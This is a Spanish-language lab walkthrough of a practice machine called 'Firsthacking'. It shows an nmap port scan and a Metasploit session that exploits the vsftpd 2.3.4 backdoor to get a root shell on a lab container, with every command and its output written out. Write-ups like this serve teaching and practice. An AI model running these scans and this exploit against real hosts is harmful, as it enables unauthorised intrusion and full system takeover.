

Firsthacking

Una vez desplegada la maquina haremos un escaneo de puertos abiertos con nmap.

En mi casa utilizo el siguiente comando:

```
nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn (ip objetivo)
```

- p-: Escanea todos los puertos .
- sS: Realiza un escaneo sigiloso (SYN Scan) para detectar puertos abiertos.
- sC: Ejecuta scripts predeterminados para recopilar más información del sistema.
- sV: Detecta las versiones de los servicios en ejecución.
- min-rate 5000: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
- n: No realiza resolución DNS, trabaja directamente con direcciones IP.
- vvv: Muestra información detallada y actualizaciones constantes durante el escaneo.
- Pn: Salta el "ping" previo y fuerza el escaneo, incluso si el objetivo no responde.

una vez realizado el escaneo vemos que tenemos un puerto abierto

```
PORT      STATE SERVICE REASON      VERSION
21/tcp    open  ftp      syn-ack ttl 64 vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Es el puerto 21, como no tenemos ninguna información buscamos en metasploit para ver si es vulnerable por lo que abrimos metasploit con: `msfconsole` y buscamos alguna vulnerabilidad de vsftpd 2.3.4 con: `search vsftpd 2.3.4`

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd 2.3.4
Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -  -                                     -
0  exploit/unix/ftp/234_backdoor            2011-07-03      excellent No      234 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Vemos que si existen una vulnerabilidad por lo que utilizaremos la opción 0 que es la única que hay. Luego veremos las opciones que nos muestra con el comando : `show options` y vemos que solo nos pide la ip de la maquina victima que se la facilitaremos con `set RHOSTS 172.17.0.2`

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
  RPORT      RPORT             yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Ponemos **run** para ejecutarlo.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 172.17.0.2:21 - The port used by the backdoor bind listener is already open
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:38967 -> 172.17.0.2:6200) at 2025-01-13 16:48:20 +0100

script /dev/null -c bash
Script started, file is /dev/null
root@d7e241c13e32:~/vsftpd-2.3.4# whoami
root
root@d7e241c13e32:~/vsftpd-2.3.4# |
```

Y ya estaríamos dentro, yo lo que hago por comodidad es introducir el comando:

script /dev/null -c bash

Para que sea mejor estéticamente.